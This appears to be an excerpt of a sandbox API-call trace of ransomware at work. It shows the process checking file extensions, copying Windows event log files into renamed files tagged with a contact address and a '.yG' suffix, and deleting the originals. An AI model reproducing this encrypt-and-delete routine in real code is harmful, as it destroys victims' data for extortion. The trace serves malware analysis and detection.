	[0047.264] lstrlenW (lpString=".xlsx") returned 5
	[0047.264] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.264] lstrlenW (lpString=".ppt") returned 4
	[0047.264] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.264] lstrlenW (lpString=".zip") returned 4
	[0047.264] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.264] lstrlenW (lpString=".rar") returned 4
	[0047.264] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.264] lstrlenW (lpString=".bz2") returned 4
	[0047.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.264] lstrlenW (lpString=".7z") returned 3
	[0047.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.264] lstrlenW (lpString=".dbf") returned 4
	[0047.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.265] lstrlenW (lpString=".1cd") returned 4
	[0047.265] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.265] lstrlenW (lpString=".jpg") returned 4
	[0047.265] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.265] lstrlenW (lpString=".doc") returned 4
	[0047.265] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString=".docx") returned 5
	[0047.265] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.265] lstrlenW (lpString=".pdf") returned 4
	[0047.265] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString=".xls") returned 4
	[0047.265] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString=".xlsx") returned 5
	[0047.265] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.265] lstrlenW (lpString=".ppt") returned 4
	[0047.265] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.265] lstrlenW (lpString=".zip") returned 4
	[0047.265] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString=".rar") returned 4
	[0047.265] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.265] lstrlenW (lpString=".bz2") returned 4
	[0047.265] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.266] lstrlenW (lpString=".7z") returned 3
	[0047.266] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.266] lstrlenW (lpString=".dbf") returned 4
	[0047.266] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.266] lstrlenW (lpString=".1cd") returned 4
	[0047.266] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.266] lstrlenW (lpString=".jpg") returned 4
	[0047.266] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.266] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.266] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57
	[0047.266] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.266] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0047.266] CloseHandle (hObject=0x2f8) returned 1
	[0047.267] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0047.267] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.267] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.267] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.267] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.267] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0047.267] GetLastError () returned 0x0
	[0047.267] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.342] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.343] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.343] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x146, lpOverlapped=0x0) returned 1
	[0047.343] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.343] CloseHandle (hObject=0x2e0) returned 1
	[0047.345] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.345] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.346] CloseHandle (hObject=0x2f8) returned 1
	[0047.346] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.346] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1
	[0047.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.347] lstrlenW (lpString=".doc") returned 4
	[0047.347] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString=".docx") returned 5
	[0047.347] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.347] lstrlenW (lpString=".pdf") returned 4
	[0047.347] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString=".xls") returned 4
	[0047.347] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString=".xlsx") returned 5
	[0047.347] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.347] lstrlenW (lpString=".ppt") returned 4
	[0047.347] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.347] lstrlenW (lpString=".zip") returned 4
	[0047.347] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString=".rar") returned 4
	[0047.347] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString=".bz2") returned 4
	[0047.347] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString=".7z") returned 3
	[0047.347] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.347] lstrlenW (lpString=".dbf") returned 4
	[0047.347] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.347] lstrlenW (lpString=".1cd") returned 4
	[0047.347] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.347] lstrlenW (lpString=".jpg") returned 4
	[0047.347] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.348] lstrlenW (lpString=".doc") returned 4
	[0047.348] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString=".docx") returned 5
	[0047.348] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.348] lstrlenW (lpString=".pdf") returned 4
	[0047.348] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString=".xls") returned 4
	[0047.348] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString=".xlsx") returned 5
	[0047.348] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.348] lstrlenW (lpString=".ppt") returned 4
	[0047.348] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.348] lstrlenW (lpString=".zip") returned 4
	[0047.348] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString=".rar") returned 4
	[0047.348] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString=".bz2") returned 4
	[0047.348] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString=".7z") returned 3
	[0047.348] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.348] lstrlenW (lpString=".dbf") returned 4
	[0047.348] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.348] lstrlenW (lpString=".1cd") returned 4
	[0047.348] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0047.348] lstrlenW (lpString=".jpg") returned 4
	[0047.348] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.348] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.349] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46
	[0047.349] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.349] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0047.349] CloseHandle (hObject=0x2f8) returned 1
	[0047.349] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0047.349] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.349] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.349] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.349] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.349] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0047.349] GetLastError () returned 0x0
	[0047.349] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.647] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.649] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.649] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x130, lpOverlapped=0x0) returned 1
	[0047.649] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.649] CloseHandle (hObject=0x2e0) returned 1
	[0047.651] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.651] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.653] CloseHandle (hObject=0x2f8) returned 1
	[0047.653] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.653] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1
	[0047.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.654] lstrlenW (lpString=".doc") returned 4
	[0047.654] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString=".docx") returned 5
	[0047.654] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.654] lstrlenW (lpString=".pdf") returned 4
	[0047.654] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString=".xls") returned 4
	[0047.654] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString=".xlsx") returned 5
	[0047.654] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.654] lstrlenW (lpString=".ppt") returned 4
	[0047.654] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.654] lstrlenW (lpString=".zip") returned 4
	[0047.654] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString=".rar") returned 4
	[0047.654] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString=".bz2") returned 4
	[0047.654] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString=".7z") returned 3
	[0047.654] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.654] lstrlenW (lpString=".dbf") returned 4
	[0047.654] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.654] lstrlenW (lpString=".1cd") returned 4
	[0047.654] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString=".jpg") returned 4
	[0047.655] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString=".doc") returned 4
	[0047.655] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString=".docx") returned 5
	[0047.655] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.655] lstrlenW (lpString=".pdf") returned 4
	[0047.655] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString=".xls") returned 4
	[0047.655] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString=".xlsx") returned 5
	[0047.655] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.655] lstrlenW (lpString=".ppt") returned 4
	[0047.655] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString=".zip") returned 4
	[0047.655] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString=".rar") returned 4
	[0047.655] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString=".bz2") returned 4
	[0047.655] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString=".7z") returned 3
	[0047.655] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString=".dbf") returned 4
	[0047.655] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString=".1cd") returned 4
	[0047.655] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0047.655] lstrlenW (lpString=".jpg") returned 4
	[0047.655] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.656] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.656] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50
	[0047.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.656] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0047.656] CloseHandle (hObject=0x2f8) returned 1
	[0047.656] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0047.656] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.656] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.656] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0047.657] GetLastError () returned 0x0
	[0047.657] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.945] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.947] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.947] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x138, lpOverlapped=0x0) returned 1
	[0047.947] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.947] CloseHandle (hObject=0x2e0) returned 1
	[0047.949] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.949] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.950] CloseHandle (hObject=0x2f8) returned 1
	[0047.950] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.950] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1
	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.951] lstrlenW (lpString=".doc") returned 4
	[0047.951] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString=".docx") returned 5
	[0047.951] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.951] lstrlenW (lpString=".pdf") returned 4
	[0047.951] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString=".xls") returned 4
	[0047.951] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString=".xlsx") returned 5
	[0047.951] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.951] lstrlenW (lpString=".ppt") returned 4
	[0047.951] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.951] lstrlenW (lpString=".zip") returned 4
	[0047.951] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString=".rar") returned 4
	[0047.951] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString=".bz2") returned 4
	[0047.951] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString=".7z") returned 3
	[0047.951] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.951] lstrlenW (lpString=".dbf") returned 4
	[0047.951] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
